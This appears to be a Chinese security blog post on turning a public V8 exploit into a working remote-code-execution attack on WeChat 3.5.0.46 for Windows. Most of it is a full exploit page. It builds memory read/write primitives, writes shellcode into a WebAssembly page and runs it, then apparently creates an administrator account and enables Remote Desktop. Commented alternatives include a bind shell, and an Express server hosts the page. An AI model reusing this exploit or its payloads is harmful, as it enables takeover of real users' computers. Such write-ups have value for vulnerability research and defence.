v8 漏洞在 windows 微信下利用的研究

浏览器安全 3年前 (2022) admin
1,120 0 0

前言

由于无法绕过沙箱,该漏洞已被忽略。

v8 漏洞在 windows 微信下利用的研究

谷歌在V8相关漏洞修复一段时间后,会公布(https://bugs.chromium.org/)漏洞的poc,有些漏洞有exp。但是公布的exp一般是存在漏洞的最后一个版本,由于不同版本V8的数据结构有变化,造成堆布局不同,公布的exp在非实验环境往往不能直接使用,本文以最新版微信远程命令执行为例介绍了从exp到实际环境利用脚本的构造过程中可能存在的问题及解决方案。

调试环境

微信3.5.0.46

v8 漏洞在 windows 微信下利用的研究

UA:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6305002e)

V8:8.1.307.32 32位(由UA判断,不一定准确,不过不知道准确版本也能调试)

EXP

poc2.html

<html>

<head>

</head>

<body>
exp
<br>
</body>

<script>
   function print(text){
    alert(text+"<br>");
  }

cvt_buf = new ArrayBuffer(8);
cvt_f64a = new Float64Array(cvt_buf);
cvt_u64a = new BigUint64Array(cvt_buf);
cvt_u32a = new Uint32Array(cvt_buf);


function ftoi(f) { // float -> bigint
  cvt_f64a[0] = f;
  return cvt_u64a[0];
 }

function itof(i) { // bigint -> float
  cvt_u64a[0] = i;
  return cvt_f64a[0];
 }

function lower(i) {
    return Number(i % (2n**32n));
}
function upper(i) {
    return Number(i / (2n**32n));
}
function pair(h,l) {
    return BigInt(h) * (2n**32n) + BigInt(l);
}


// todo
function leak_array_map(arg_true, obj,flag) {

    let o = {ct: true, c0: 0, c1: 1}; 
    let aa = arg_true ? 8 : "7";
    let c0 = (Math.max(aa, 0) + aa - 16);
    let v01 = 2**32 + (o.c0 & 1);
    let xx = 2**32-1;
    let ra = (xx >>> c0) - v01;
    let rb = ((xx-2**32) << (32-c0));
    let confused = (ra^rb) >> 31; // Range(0,0); is: -1


    let arr = new Array(3+30*(1+confused));
    arr[0] = 1e64; // make sure arr is of type double
    arr[1] = 2e64;
    let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
    for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
    let iter = arr[Symbol.iterator]();


    iter.next();iter.next();iter.next();


    iter.next();

    iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();
    //v0应该是arr2最后一个元素
    let v0 = iter.next();

    let v1 = iter.next();

    return [v0.value, v1.value, arr2];

}



function leak_addr_helper(arg_true, obj,flag) { 

    let o = {ct: true, c0: 0, c1: 1};
    let aa = arg_true ? 8 : "7";
    let c0 = (Math.max(aa, 0) + aa - 16);
    let v01 = 2**32 + (o.c0 & 1);
    let xx = 2**32-1;
    let ra = (xx >>> c0) - v01;
    let rb = ((xx-2**32) << (32-c0));
    let confused = (ra^rb) >> 31; 


    let arr = new Array(3+30*(1+confused));
    arr[0] = 0.5; 
    let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]={}; 
    arr2[1] = obj;
    arr2[0] = 0x1337;

    let iter = arr[Symbol.iterator]();

    iter.next();iter.next();iter.next();iter.next();

    let v1 = iter.next().value;

    return v1;

}


function fake_obj_helper(arg_true, val,flag) { 

    let o = {ct: true, c0: 0, c1: 1};
    let aa = arg_true ? 8 : "7";
    let c0 = (Math.max(aa, 0) + aa - 16);
    let v01 = 2**32 + (o.c0 & 1);
    let xx = 2**32-1;
    let ra = (xx >>> c0) - v01;
    let rb = ((xx-2**32) << (32-c0));
    let confused = (ra^rb) >> 31; 

    let arr = new Array(3+30*(1+confused));

    arr[0] = 0; //smi和obj的堆布局有不同,这里不要动
    let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0; 

    arr2[0] = val;

    let iter = arr[Symbol.iterator]();

    iter.next();iter.next();iter.next();
    iter.next();
    //v0应该是arr2的长度,即5
    let v0 = iter.next();
    let v1 = iter.next();

    return [v0.value,v1.value];

}


print("start");


let obj = new Array(128);
for (i=0; i < 3000; i+=1) leak_addr_helper(true,obj,false);
alert("jit1");

let arr = new Array(128);
for (i=0; i < 3000; i+=1){
    leak_array_map(true,arr,false);
} 

print("jit2");
for (i=0; i < 10**4; i+=1) fake_obj_helper(true,2.567347528655259e-289,false);
fake_obj_helper(true,1.2132797677859895e-279,true);
alert("end of jit optimization");


var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]);
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | "  +res[1]);


function addrof(obj) {
    let f = leak_addr_helper(true, obj,true);
    let n = ftoi(f);
    let u = upper(n);
    let l = lower(n);

    if (l == (0x1337 << 1)) print("[*]lower data match");
    return u;
}




function fakeobj(addr) {
    // given a tagged, compressed pointer, return the fake object at that place
    let f = itof(pair(addr,addr));
    let res = fake_obj_helper(true,f,true);
    print("[*]res[0]:"+res[0])
    return res[1];
}


let foo_arr = [0.0, 1.1, 2.2, 3.3, 4.4];
let foo_content_addr = addrof(foo_arr) + 32;
print("[*] addr of foo_arr:"+foo_content_addr.toString(16));

let rw_arr = [itof(pair(0x13361336,0x13361336)),1.1,0.0,array_map_leak,60.0,0.0];
let rw_arr_addr = addrof(rw_arr);
print("[*] array_map_leak:"+ftoi(array_map_leak).toString(16));
let rw_arr_content_addr = rw_arr_addr - 0x38;
print("[*] rw_arr_content_addr:"+rw_arr_content_addr.toString(16));

let r = fakeobj(rw_arr_content_addr+0x20);

function read64(addr) {
    // print("addr:0x"+addr.toString(16));
    // rw_arr[4] = itof(pair(50, addr-8));
    rw_arr[4] = itof(pair(50, addr-8));;
    return ftoi(r[0]);
}

function write64(addr,data){
    rw_arr[4] = itof(pair(50, addr-8));
    r[0] = itof(data);
}


print("before alloc wasm");


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;

print("after alloc wasm");
let wasm_instance_addr = addrof(wasmInstance);


print("[*] wasm_instance_addr 0x" + wasm_instance_addr.toString(16));

// winexec calc.exe

// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50,       0x68,0x2e,0x65,0x78,0x65,      0x68,0x63,0x61,0x6c,0x63,       0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50,      0x68, 46, 101, 120, 101,  0x68, 99, 97, 108, 99,       0x68 ,109, 51, 50, 92,      0x68, 121, 115 ,116, 101,   0x68, 119, 115, 92, 83,  0x68,105, 110, 100, 111,  0x68,67,58,92,87,          0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// createProcessA
// var shellcode = [
// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x48,0x10,0x31,0xdb,0x8b,0x59,0x3c,0x01,0xcb,0x8b,0x5b,0x78,0x01,0xcb,0x8b,0x73,0x20,0x01,0xce,0x31,0xd2,0x42,0xad,0x01,0xc8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x73,0x1c,0x01,0xce,0x8b,0x14,0x96,0x01,0xca,0x89,0xd6,0x89,0xcf,0x31,0xdb,0x68,0x79,0x41,0x41,0x41,0x66,0x89,0x5c,0x24,0x01,0x68,0x65,0x6d,0x6f,0x72,0x68,0x65,0x72,0x6f,0x4d,0x68,0x52,0x74,0x6c,0x5a,0x54,0x51,0xff,0xd2,0x83,0xc4,0x10,0x31,0xc9,0x89,0xca,0xb2,0x54,0x51,0x83,0xec,0x54,0x8d,0x0c,0x24,0x51,0x52,0x51,0xff,0xd0,0x59,0x31,0xd2,0x68,0x73,0x41,0x42,0x42,0x66,0x89,0x54,0x24,0x02,0x68,0x6f,0x63,0x65,0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43,0x72,0x65,0x61,0x8d,0x14,0x24,0x51,0x52,0x57,0xff,0xd6,0x59,0x83,0xc4,0x10,0x31,0xdb,0x68,0x65,0x78,0x65,0x41,0x88,0x5c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x8d,0x1c,0x24,0x31,0xd2,0xb2,0x44,0x89,0x11,0x8d,0x51,0x44,0x56,0x31,0xf6,0x52,0x51,0x56,0x56,0x56,0x56,0x56,0x56,0x53,0x56,0xff,0xd0,0x5e,0x83,0xc4,0x08,0x31,0xdb,0x68,0x65,0x73,0x73,0x41,0x88,0x5c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x8d,0x1c,0x24,0x53,0x57,0xff,0xd6,0x31,0xc9,0x51,0xff,0xd0
// ];

// calc
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50,       0x68,0x2e,0x65,0x78,0x65,      0x68,0x63,0x61,0x6c,0x63,       0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];

//shellexecutea calc.exe
// var shellcode = [
// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x89,0xd6,0x31,0xff,0x89,0xdf,0x31,0xc9,0x51,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f,0x61,0x64,0x54,0x53,0xff,0xd2,0x83,0xc4,0x0c,0x31,0xc9,0x68,0x65,0x73,0x73,0x42,0x88,0x4c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x54,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x83,0xc4,0x0c,0x31,0xc9,0x51,0x68,0x64,0x6c,0x6c,0x41,0x88,0x4c,0x24,0x03,0x68,0x6c,0x33,0x32,0x2e,0x68,0x73,0x68,0x65,0x6c,0x54,0x31,0xd2,0x89,0xfa,0x89,0xc7,0xff,0xd2,0x83,0xc4,0x0b,0x31,0xc9,0x68,0x41,0x42,0x42,0x42,0x88,0x4c,0x24,0x01,0x68,0x63,0x75,0x74,0x65,0x68,0x6c,0x45,0x78,0x65,0x68,0x53,0x68,0x65,0x6c,0x54,0x50,0xff,0xd6,0x83,0xc4,0x0d,0x31,0xc9,0x68,0x65,0x78,0x65,0x41,0x88,0x4c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x54,0x59,0x31,0xd2,0x42,0x52,0x31,0xd2,0x52,0x52,0x51,0x52,0x52,0xff,0xd0,0xff,0xd7
// ];

// WinExec("cmd.exe",0)
// var shellcode = [
// 0x31,0xc9,0x64,0xa1,0x30,0x00,0x00,0x00,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x52,0x5e,0x31,0xff,0x53,0x5f,0x31,0xc9,0x51,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6e,0x45,0x89,0xe1,0x51,0x53,0xff,0xd2,0x31,0xc9,0x51,0x68,0x65,0x73,0x73,0x00,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x89,0xe1,0x51,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x31,0xf6,0x50,0x5e,0x31,0xc9,0x51,0x68,0x65,0x78,0x65,0x00,0x68,0x63,0x6d,0x64,0x2e,0x89,0xe1,0x6a,0x00,0x51,0xff,0xd7,0x6a,0x00,0xff,0xd6,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00
// ];

//bind tcp 1337
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b
//      ,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06
//      ,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43,0x3c,0x8b,0x7c,0x03
//      ,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b
//      ,0x45,0xfc,0x8b,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca
//      ,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b
//      ,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61,0xc3
//      ,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x8e,0x4e,0x0e,0xec,0xff,0x55
//      ,0x04,0x89,0x45,0x14,0x68,0x72,0xfe,0xb3,0x16,0xff,0x55,0x04,0x89,0x45,0x18,0x31,0xc0,0x66
//      ,0xb8,0x6c,0x6c,0x50,0x68,0x33,0x32,0x2e,0x64,0x68,0x77,0x73,0x32,0x5f,0x54,0xff,0x55,0x14
//      ,0x89,0xc3,0x68,0xcb,0xed,0xfc,0x3b,0xff,0x55,0x04,0x89,0x45,0x1c,0x68,0xd9,0x09,0xf5,0xad
//      ,0xff,0x55,0x04,0x89,0x45,0x20,0x68,0xa4,0x1a,0x70,0xc7,0xff,0x55,0x04,0x89,0x45,0x24,0x68
//      ,0xa4,0xad,0x2e,0xe9,0xff,0x55,0x04,0x89,0x45,0x28,0x68,0x76,0x79,0x5b,0x9f,0xff,0x55,0x04
//      ,0x89,0x45,0x32,0x68,0xe5,0x49,0x86,0x49,0xff,0x55,0x04,0x89,0x45,0x36,0x89,0xe0,0x66,0xb9
//      ,0x90,0x05,0x29,0xc8,0x50,0x31,0xc0,0x66,0xb8,0x02,0x02,0x50,0xff,0x55,0x1c,0x31,0xc0,0x50
//      ,0x50,0x50,0xb0,0x06,0x50,0x2c,0x05,0x50,0x40,0x50,0xff,0x55,0x20,0x89,0xc6,0x31,0xc0,0x50
//      ,0x66,0xb8,0x05,0x39,0xc1,0xe0,0x10,0x66,0x83,0xc0,0x02,0x50,0x54,0x5f,0x31,0xc0,0x04,0x16
//      ,0x50,0x57,0x56,0xff,0x55,0x24,0xff,0x55,0x32,0x31,0xc0,0x50,0x56,0xff,0x55,0x28,0x31,0xc0
//      ,0x50,0x50,0x56,0xff,0x55,0x36,0x89,0xc6,0x56,0x56,0x56,0x31,0xc0,0x50,0x50,0xb0,0x80,0x31
//      ,0xc9,0xb1,0x80,0x01,0xc8,0x50,0x31,0xc0,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50
//      ,0xb0,0x44,0x50,0x54,0x5f,0xb8,0x9b,0x87,0x9a,0xff,0xf7,0xd8,0x50,0x68,0x63,0x6d,0x64,0x2e
//      ,0x54,0x5b,0x89,0xe0,0x31,0xc9,0x66,0xb9,0x90,0x03,0x29,0xc8,0x50,0x57,0x31,0xc0,0x50,0x50
//      ,0x50,0x40,0x50,0x48,0x50,0x50,0x53,0x50,0xff,0x55,0x18,0x31,0xc0,0x50,0x6a,0xff,0xff,0x55
//      ,0x04
// ];
// messageboxa
var shellcode = [
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0xFF,0x15,0x12,0x13,0x14,0x15,//call xxxx


0x89,0xe5,0x83,0xec,0x30,0x31,0xdb,0x64,0x8b,0x5b,0x30,0x8b,0x5b,0x0c,0x8b,0x5b,0x1c,0x8b,0x1b,0x8b,0x1b
,0x8b,0x43,0x08,0x89,0x45,0xfc,0x8b,0x58,0x3c,0x01,0xc3,0x8b,0x5b,0x78,0x01,0xc3,0x8b,0x7b,0x20,0x01,0xc7
,0x89,0x7d,0xf8,0x8b,0x4b,0x24,0x01,0xc1,0x89,0x4d,0xf4,0x8b,0x53,0x1c,0x01,0xc2,0x89,0x55,0xf0,0x8b,0x53
,0x14,0x89,0x55,0xec,0xeb,0x32,0x31,0xc0,0x8b,0x55,0xec,0x8b,0x7d,0xf8,0x8b,0x75,0xe8,0x31,0xc9,0xfc,0x8b
,0x3c,0x87,0x03,0x7d,0xfc,0x66,0x83,0xc1,0x0f,0xf3,0xa6,0x74,0x05,0x40,0x39,0xd0,0x72,0xe4,0x8b,0x4d,0xf4
,0x8b,0x55,0xf0,0x66,0x8b,0x04,0x41,0x8b,0x04,0x82,0x03,0x45,0xfc,0xc3,0x31,0xc0,0x66,0xb8,0x73,0x73,0x50
,0x68,0x64,0x64,0x72,0x65,0x68,0x72,0x6f,0x63,0x41,0x68,0x47,0x65,0x74,0x50,0x89,0x65,0xe8,0xe8,0xb0,0xff
,0xff,0xff,0x89,0x45,0xe4,0x31,0xd2,0x52,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f
,0x61,0x64,0x54,0xff,0x75,0xfc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xe0,0x31,0xc0,0x66,

0xb8,0x72,0x74, //mov ax 0x7472=rt
0x50 //push eax
,0x68,0x6d,0x73,0x76,0x63,  //push 0x6d737663=msvc

// 0xb8,0x33,0x32,     //32
// 0x50,
// 0x68,0x75,0x73,0x65,0x72,//user

0x54,0x8b,0x5d,0xe0,0xff,0xd3,0x89,0x45,0xdc,0x31,0xd2,0x66,

0xba,0x65,0x6d, //mov dx em
0x52    //push edx
,0x68,0x73,0x79,0x73,0x74, //push syst

// get MessageBoxA
// 
// 0x68,0x6f,0x78,0x41,0x00,//push oxA\x0
// 0x68,0x61,0x67,0x65,0x42,//push ageB
// 0x68,0x4D,0x65,0x73,0x73,//push Mess

0x54,0xff,0x75,0xdc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xd8,0x31,0xc9,0x66,0xb9
,0x4c,0x45,0x51,
/*
push 0x42415349    ; BASI : 42415349
push 0x443d6564    ; D=ed : 443d6564
push 0x6f6d2065    ; om e : 6f6d2065
push 0x646f6d70    ; domp : 646f6d70
push 0x6f207465    ; o te : 6f207465
push 0x73206c6c    ; s ll : 73206c6c
push 0x61776572    ; awer : 61776572
push 0x69662068    ; if h : 69662068
push 0x7374656e    ; sten : 7374656e
*/
// 0x68,0x49,0x53,0x41,0x42,
// 0x68,0x64,0x65,0x3d,0x44,
// 0x68,0x65,0x20,0x6d,0x6f,
// 0x68,0x70,0x6d,0x6f,0x64,
// 0x68,0x65,0x74,0x20,0x6f,
// 0x68,0x6c,0x6c,0x20,0x73,
// 0x68,0x72,0x65,0x77,0x61,
// 0x68,0x68,0x20,0x66,0x69,
// 0x68,0x6e,0x65,0x74,0x73,
//------构造system参数
0x68,32,32,32,00,      
0x68,46,101,120,101,
0x68,99,97,108,99,
0x54,   //push esp
//--------

// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,

0x8b,0x45,0xd8, //mov     eax,dword ptr [ebp-28h]

0xff,0xd0,  //call eax


0x31,0xc9,0x51,0x68,0x2f,0x61,0x64,0x64,0x68
,0x79,0x21,0x21,0x20,0x68,0x43,0x40,0x6e,0x64,0x68,0x72,0x6e,0x55,0x32,0x68,0x75,0x20,0x54,0x75,0x68,0x69
,0x6e,0x42,0x75,0x68,0x20,0x4d,0x61,0x6a,0x68,0x75,0x73,0x65,0x72,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45
,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68,0x75,0x75,0x20,0x2f,0x68
,0x6a,0x69,0x6e,0x42,0x68,0x73,0x20,0x4d,0x61,0x68,0x61,0x74,0x6f,0x72,0x68,0x69,0x73,0x74,0x72,0x68,0x64
,0x6d,0x69,0x6e,0x68,0x75,0x70,0x20,0x41,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65
,0x74,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68
,0x75,0x75,0x20,0x2f,0x68,0x6a,0x69,0x6e,0x42,0x68,0x22,0x20,0x4d,0x61,0x68,0x73,0x65,0x72,0x73,0x68,0x6f
,0x70,0x20,0x55,0x68,0x65,0x73,0x6b,0x74,0x68,0x74,0x65,0x20,0x44,0x68,0x52,0x65,0x6d,0x6f,0x68,0x75,0x70
,0x20,0x22,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45,0xd8
,0xff,0xd0,0x31,0xc9,0x51,0x68,0x30,0x20,0x2f,0x66,0x68,0x20,0x2f,0x64,0x20,0x68,0x57,0x4f,0x52,0x44,0x68
,0x45,0x47,0x5f,0x44,0x68,0x2f,0x74,0x20,0x52,0x68,0x6f,0x6e,0x73,0x20,0x68,0x65,0x63,0x74,0x69,0x68,0x43
,0x6f,0x6e,0x6e,0x68,0x6e,0x79,0x54,0x53,0x68,0x20,0x66,0x44,0x65,0x68,0x22,0x20,0x2f,0x76,0x68,0x72,0x76
,0x65,0x72,0x68,0x6c,0x20,0x53,0x65,0x68,0x6d,0x69,0x6e,0x61,0x68,0x5c,0x54,0x65,0x72,0x68,0x74,0x72,0x6f
,0x6c,0x68,0x5c,0x43,0x6f,0x6e,0x68,0x6c,0x53,0x65,0x74,0x68,0x6e,0x74,0x72,0x6f,0x68,0x6e,0x74,0x43,0x6f
,0x68,0x75,0x72,0x72,0x65,0x68,0x45,0x4d,0x5c,0x43,0x68,0x53,0x59,0x53,0x54,0x68,0x49,0x4e,0x45,0x5c,0x68
,0x4d,0x41,0x43,0x48,0x68,0x43,0x41,0x4c,0x5f,0x68,0x59,0x5f,0x4c,0x4f,0x68,0x22,0x48,0x4b,0x45,0x68,0x61
,0x64,0x64,0x20,0x68,0x72,0x65,0x67,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0
];


var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var data_buf_address = addrof(data_buf);
print("[*]data_buf_address:0x"+data_buf_address.toString(16));
// for(var i = 0;i < 20;i++){
//     print("i:"+i+"  data:"+read64(wasm_instance_addr+i*8).toString(16));
// }
//注意偏移量
var buf_backing_store_addr = data_buf_address + 0x8*2;

//注意偏移量
let rwx_page = read64(wasm_instance_addr+0x40);
print("[*] rwx_page addr 0x" + (rwx_page).toString(16));
write64(buf_backing_store_addr,rwx_page);
print("write to: 0x"+buf_backing_store_addr.toString(16)+" data:0x"+rwx_page.toString(16));
var tmp2 = read64(buf_backing_store_addr);
print("tmp2:0x"+tmp2.toString(16));


for(let i = 0;i < shellcode.length;i++){
    data_view.setUint8(i,shellcode[i],true);
}
alert("[*] 写代码成功"+rwx_page.toString(16));
f();
alert("[*]执行完毕")

</script>

</html>

server.js

const express = require("express")
const fs = require("fs")
const app = express()
const path = require("path")
const https = require("https")


app.get("/test",function(req,res){
    console.log("get request");
    res.send("ok");
})

app.use("/",express.static(path.join(__dirname,"public")))

app.listen(443,function(){
    console.log("listening 443...")
})

使用方法:

